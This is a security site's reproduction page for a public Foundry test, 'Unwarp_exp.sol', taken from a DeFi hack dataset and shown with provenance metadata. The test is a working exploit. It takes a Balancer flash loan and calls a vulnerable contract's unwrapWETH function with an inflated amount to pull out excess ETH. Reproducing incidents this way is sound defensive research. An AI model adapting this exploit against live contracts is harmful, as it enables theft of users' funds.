Skip to content
THREATWIRE

Public reproduction file

src/test/2025-05/Unwarp_exp.sol

Public reproduction file for dataset entry Unwarp.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2025-05/Unwarp_exp.sol54 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.25;
3
4
5import "forge-std/Test.sol";
6import "../interface.sol";
7
8// @KeyInfo - Total Lost : ~9 K usdt
9// Original Attacker : https://basescan.org/address/0x5cc162c556092fe1d993b95d1b9e9ce58a11dbc9
10// Attack Contract : https://basescan.org/address/0x0c6a8c285d696d4d9b8dd4079a72a6460a4da05f
11// Vulnerable Contract: https://basescan.org/address/0x8befc1d90d03011a7d0b35b3a00ec50f8e014802
12// Attack Tx : https://app.blocksec.com/explorer/tx/base/0xac6f716c57bbb1a4c1e92f0a9531019ea2ecfcaea67794bbd27115d400ae9b41
13//author: test
15contract Unwarp is Test {
16 IWETH private constant WETH = IWETH(payable(0x4200000000000000000000000000000000000006));
17 IBalancerVault vault = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);
18 address A=0x8bEfC1d90d03011a7d0b35B3a00eC50f8E014802;
22 function setUp() public {
23 vm.createSelectFork("base", 30210273);
24 }
26 function testExploit() public {
27 IERC20(WETH).approve(address(vault), type(uint256).max);
28 address[] memory assets = new address[](1);
29 assets[0] = address(WETH);
30 uint256[] memory amounts = new uint256[](1);
31 amounts[0] = 100852657473363426325;
32 bytes memory encodedata = abi.encode(address(this));
34 vault.flashLoan(address(this),assets,amounts,encodedata);
36 emit log_named_decimal_uint("WETH Balance after the attack",address(this).balance, 18);
37 }
39 function receiveFlashLoan(
40 address[] memory tokens,
41 uint256[] memory amounts,
42 uint256[] memory feeAmounts,
43 bytes memory userData
44 ) external {
45 WETH.transfer(address(A),100852657473363426325);
46 address(A).call(abi.encodeWithSignature("unwrapWETH(uint256,address)",104833984375000000000 ,address(this)));
47 WETH.deposit{value: 100852657473363426325}();
48 WETH.transfer(address(vault),100852657473363426325);
49 }
51 fallback() external payable {}

Analysis

Dataset entry

Public Foundry test for “Unwarp” (2025-05-14). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

16 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Also imports external libraries: forge-std/Test.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attack Contract

    0x0c6a8c285d696d4d9b8dd4079a72a6460a4da05f

  • Vulnerable Contract

    0x8befc1d90d03011a7d0b35b3a00ec50f8e014802

  • Attack Tx

    0xac6f716c57bbb1a4c1e92f0a9531019ea2ecfcaea67794bbd27115d400ae9b41

File record

Name
Unwarp
Path
src/test/2025-05/Unwarp_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
f19aae37f2065583960fa494b1b9127bc083e7d5
Language
Solidity
Size
55 lines
Date
2025-05-14
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2025-05/Unwarp_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob f19aae37f2065583960fa494b1b9127bc083e7d5, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.